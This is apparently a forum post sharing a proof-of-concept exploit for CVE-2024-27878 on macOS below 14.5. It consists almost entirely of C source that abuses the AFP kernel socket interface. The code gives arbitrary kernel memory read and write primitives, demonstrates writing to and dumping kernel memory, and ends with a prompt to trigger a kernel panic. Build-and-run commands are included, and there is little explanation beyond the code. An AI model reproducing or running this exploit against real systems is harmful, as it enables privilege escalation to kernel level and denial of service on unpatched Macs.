08-05-2024, 09:52 AM
CVE-2024-27878 : An app with root privileges may be able to execute arbitrary code with kernel privileges.
Tested on macOS versions below 14.5
Replace <filename> as needed.
Tested on macOS versions below 14.5
Replace <filename> as needed.
//$clang <filename> -o poc
//$./poc
//Try it on macOS versions below 14.5
#import <Foundation/Foundation.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define AF_AFP 36
void hex_dump(void *data, int size)
{
unsigned char *p = data;
unsigned long addr = 0;
unsigned char c;
int n;
char bytestr[4] = {0};
char addrstr[10] = {0};
char hexstr[ 16*3 + 5] = {0};
char charstr[16*1 + 5] = {0};
for(n=1;n<=size;n++) {
if (n%16 == 1) {
/* store address for this line */
snprintf(addrstr, sizeof(addrstr), "%.4lX",
addr);
}
c = *p;
if (isprint(c) == 0) {
c = '.';
}
/* store hex str (for left side) */
snprintf(bytestr, sizeof(bytestr), "%02X ", *p);
strncat(hexstr, bytestr, sizeof(hexstr)-strlen(hexstr)-1);
/* store char str (for right side) */
snprintf(bytestr, sizeof(bytestr), "%c", c);
strncat(charstr, bytestr, sizeof(charstr)-strlen(charstr)-1);
if(n%16 == 0) {
/* line completed */
printf("[%4.4s] %-50.50s %s\n", addrstr, hexstr, charstr);
hexstr[0] = 0;
charstr[0] = 0;
} else if(n%8 == 0) {
/* half line: add whitespaces */
strncat(hexstr, " ", sizeof(hexstr)-strlen(hexstr)-1);
strncat(charstr, " ", sizeof(charstr)-strlen(charstr)-1);
}
p++; /* next byte */
addr++; /* increment address */
}
if (strlen(hexstr) > 0) {
/* print rest of buffer if not empty */
printf("[%4.4s] %-50.50s %s\n", addrstr, hexstr, charstr);
}
}
static char *
mktempdir(void)
{
char *path = malloc(PATH_MAX);
strcpy(path, "/tmp/dmc.XXXXXXXX");
atexit_b(^{ free(path); });
mkdtemp(path);
return path;
}
void load_asp_tcp(void){
struct vfsconf conf ={};
int err = getvfsbyname("afpfs", &conf);
if(err ==0){
printf("loaded\n");
return ;
}
int pid = fork();
char* mount_dir = mktempdir();
if(pid==0){
execl("/sbin/mount_afp", "/sbin/mount_afp", "afp://null:password@127.0.0.1/any",
mount_dir, 0);
exit(0);
}
else{
int status = 0;
wait4(pid, &status, 0, NULL);
}
}
uint8_t* kread(uint64_t target, uint32_t len){
int err = 0;
int tcp_so = socket(AF_INET, SOCK_STREAM, 0);
int opt = 1;
if (setsockopt(tcp_so, SOL_SOCKET, SO_REUSEPORT, &opt,
sizeof(opt)))
{
perror("setsockopt");
close(tcp_so);
return 0;
}
struct sockaddr_in address;
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr("127.0.0.1");
address.sin_port = htons(8088);
if (bind(tcp_so, (struct sockaddr*)&address,
sizeof(address))< 0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
if (listen(tcp_so, 3) < 0) {
perror("listen");
exit(EXIT_FAILURE);
}
int asp_sock = socket(AF_AFP, SOCK_STREAM, 0);
if(asp_sock==-1){
printf("cannot create socket\n");
return 0;
}
err = connect(asp_sock, (struct sockaddr *)&address,sizeof(address));
if(err){
printf("connect ret %d\n",err);
close(asp_sock);
return 0;
}
struct sockaddr_in cli_addr;
socklen_t clilen = sizeof(cli_addr);
int newsockfd = accept(tcp_so,
(struct sockaddr *) &cli_addr,
&clilen);
void* temp = malloc(1024);
memset(temp, 0x77,1024);
struct iovec iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };
struct msghdr msg = {};
char buf[96]={};
*(uint32*)(buf + 0)= 8;
*(uint32*)(buf + 16)= 1;
*(uint64*)(buf + 8)= 0xFFFFFE0088888888;
*(uint32*)(buf + 20)= 2;
*(uint64*)(buf + 24)= target;
*(uint32*)(buf + 32)= len;
*(uint32*)(buf + 36)= 2;
uint64_t tmp=0x1234;
*(uint64*)(buf + 72)= &tmp;
*(uint32*)(buf + 80)= 8;
*(uint32*)(buf + 84)= 1;
msg.msg_iov = &iovec;
msg.msg_iovlen = 1;
msg.msg_control = buf;
msg.msg_controllen = CMSG_SPACE(96-12);
sendmsg(asp_sock, &msg, 0);
struct msghdr recv_msg={};
struct iovec recv_iov={};
void* recv_buf = malloc(4096);
memset(recv_buf, 0, 4096);
void* recv_control = malloc(1024);
memset(recv_control, 0, 1024);
recv_iov.iov_base = recv_buf;
recv_iov.iov_len = 4096;
recv_msg.msg_name = NULL;
recv_msg.msg_namelen = 0;
recv_msg.msg_iov = &recv_iov;
recv_msg.msg_iovlen = 1;
recv_msg.msg_control = recv_control;
recv_msg.msg_controllen = 2048;
recvmsg(newsockfd, &recv_msg, 0);
close(asp_sock);
close(tcp_so);
close(newsockfd);
free(recv_control);
return recv_buf;
}
//kread(0xfffffe1b99999999, 512);
uint64_t kw64(uint64_t target, uint64_t value){
int err = 0;
int tcp_so = socket(AF_INET, SOCK_STREAM, 0);
int opt = 1;
if (setsockopt(tcp_so, SOL_SOCKET, SO_REUSEPORT, &opt,
sizeof(opt)))
{
perror("setsockopt");
close(tcp_so);
return 0;
}
struct sockaddr_in address;
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr("127.0.0.1");
address.sin_port = htons(8088);
if (bind(tcp_so, (struct sockaddr*)&address,
sizeof(address))< 0)
{
perror("bind failed");
return 0;
}
if (listen(tcp_so, 3) < 0) {
perror("listen");
return 0;
}
int asp_sock = socket(AF_AFP, SOCK_STREAM, 0);
if(asp_sock==-1){
printf("cannot create socket\n");
close(tcp_so);
return 0;
}
err = connect(asp_sock, (struct sockaddr *)&address,sizeof(address));
if(err){
printf("connect ret %d\n",err);
close(tcp_so);
close(asp_sock);
return 0;
}
struct sockaddr_in cli_addr;
socklen_t clilen = sizeof(cli_addr);
int newsockfd = accept(tcp_so,
(struct sockaddr *) &cli_addr,
&clilen);
struct iovec iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };
struct msghdr msg = {};
char buf[96]={};
*(uint32*)(buf + 0)= 2;
*(uint32*)(buf + 16)= 8;
*(uint64*)(buf + 8)= target;
*(uint32*)(buf + 20)= 2;
uint64_t v_for_copyin = 0x12345678;
*(uint64*)(buf + 24)= &v_for_copyin;
*(uint32*)(buf + 32)= 8;
*(uint32*)(buf + 36)= 8;
{
uint64_t v_for_copyout1=0x12345678;
*(uint64*)(buf + 56)= &v_for_copyout1;
*(uint32*)(buf + 64)= 8;
}
{
uint64_t v_for_copyout2=0x12345678;
*(uint64*)(buf + 40)= &v_for_copyout2;
*(uint32*)(buf + 48)= 8;
}
{
uint16_t v_for_copyout3=0x1234;
*(uint64*)(buf + 72)= &v_for_copyout3;
*(uint32*)(buf + 80)= 8;
}
*(uint32*)(buf + 84)= 1;
msg.msg_iov = &iovec;
msg.msg_iovlen = 1;
msg.msg_control = buf;
msg.msg_controllen = CMSG_SPACE(96-12);
sendmsg(asp_sock, &msg, 0);
struct msghdr recv_msg={};
struct iovec recv_iov={};
void* recv_buf = malloc(4096);
memset(recv_buf, 0, 4096);
void* recv_control = malloc(1024);
memset(recv_control, 0, 1024);
recv_iov.iov_base = recv_buf;
recv_iov.iov_len = 4096;
recv_msg.msg_name = NULL;
recv_msg.msg_namelen = 0;
recv_msg.msg_iov = &recv_iov;
recv_msg.msg_iovlen = 1;
recv_msg.msg_control = recv_control;
recv_msg.msg_controllen = 2048;
recvmsg(newsockfd, &recv_msg, 0);
struct msghdr reply_msg={};
struct iovec reply_iov={};
uint8_t reply_buf[16]={};
*(uint8_t*)(reply_buf + 0) = 1;
*(uint8_t*)(reply_buf + 1) = 8;
*(uint16_t*)(reply_buf + 2) = htons(1);
*(uint32_t*)(reply_buf + 8) = htonl(8);
reply_iov.iov_base = reply_buf;
reply_iov.iov_len = 16;
reply_msg.msg_iov = &reply_iov;
reply_msg.msg_iovlen = 1;
sendmsg(newsockfd, &reply_msg, 0);
struct msghdr packet_msg={};
struct iovec packet_iov={};
uint64_t packet_buf = value;
packet_iov.iov_base = &packet_buf;
packet_iov.iov_len = 8;
packet_msg.msg_iov = &packet_iov;
packet_msg.msg_iovlen = 1;
sendmsg(newsockfd, &packet_msg, 0);
struct iovec asp_reply_iovec = { .iov_base = "BBBBBBBB", .iov_len = 8 };
struct msghdr asp_reply_msg = {};
char asp_reply_control_buf[96]={};
*(uint32*)(asp_reply_control_buf + 0)= 0x11;
*(uint32*)(asp_reply_control_buf + 16)= 1;
*(uint64*)(asp_reply_control_buf + 8)= 0xFFFFFE0088888888;
*(uint32*)(asp_reply_control_buf + 20)= 2;
*(uint64*)(asp_reply_control_buf + 24)= 0xfffffdf040000000;
*(uint32*)(asp_reply_control_buf + 32)= 64;
*(uint32*)(asp_reply_control_buf + 36)= 2;
{
uint64_t tmp=1;
*(uint64*)(asp_reply_control_buf + 72)= &tmp;
*(uint32*)(asp_reply_control_buf + 80)= 8;
}
*(uint32*)(asp_reply_control_buf + 84)= 1;
asp_reply_msg.msg_iov = &asp_reply_iovec;
asp_reply_msg.msg_iovlen = 1;
asp_reply_msg.msg_control = asp_reply_control_buf;
asp_reply_msg.msg_controllen = CMSG_SPACE(96-12);
sendmsg(asp_sock, &asp_reply_msg, 0);
close(asp_sock);
close(tcp_so);
close(newsockfd);
free(recv_control);
return value;
}
/*
try kw64(0xFFFFFFFF12345678,0x1234567887654321) or
kread(0xfffffe1b99999999, 512) to trigger kernel panic
0xfffffdf040000000 is a valid kernel address.
*/
int main(){
load_asp_tcp();
kw64(0xfffffdf040000000,0x1234567887654321);
kw64(0xfffffdf040000008,0xAABBCCDDEEFF0011);
uint8_t* kmem = kread(0xfffffdf040000000, 1024);
hex_dump(kmem+0x18,16);
printf("want a kernel panic?\n");
getchar();
kw64(0xFFFFFFFF12345678,0x1234567887654321);
return 0;
}
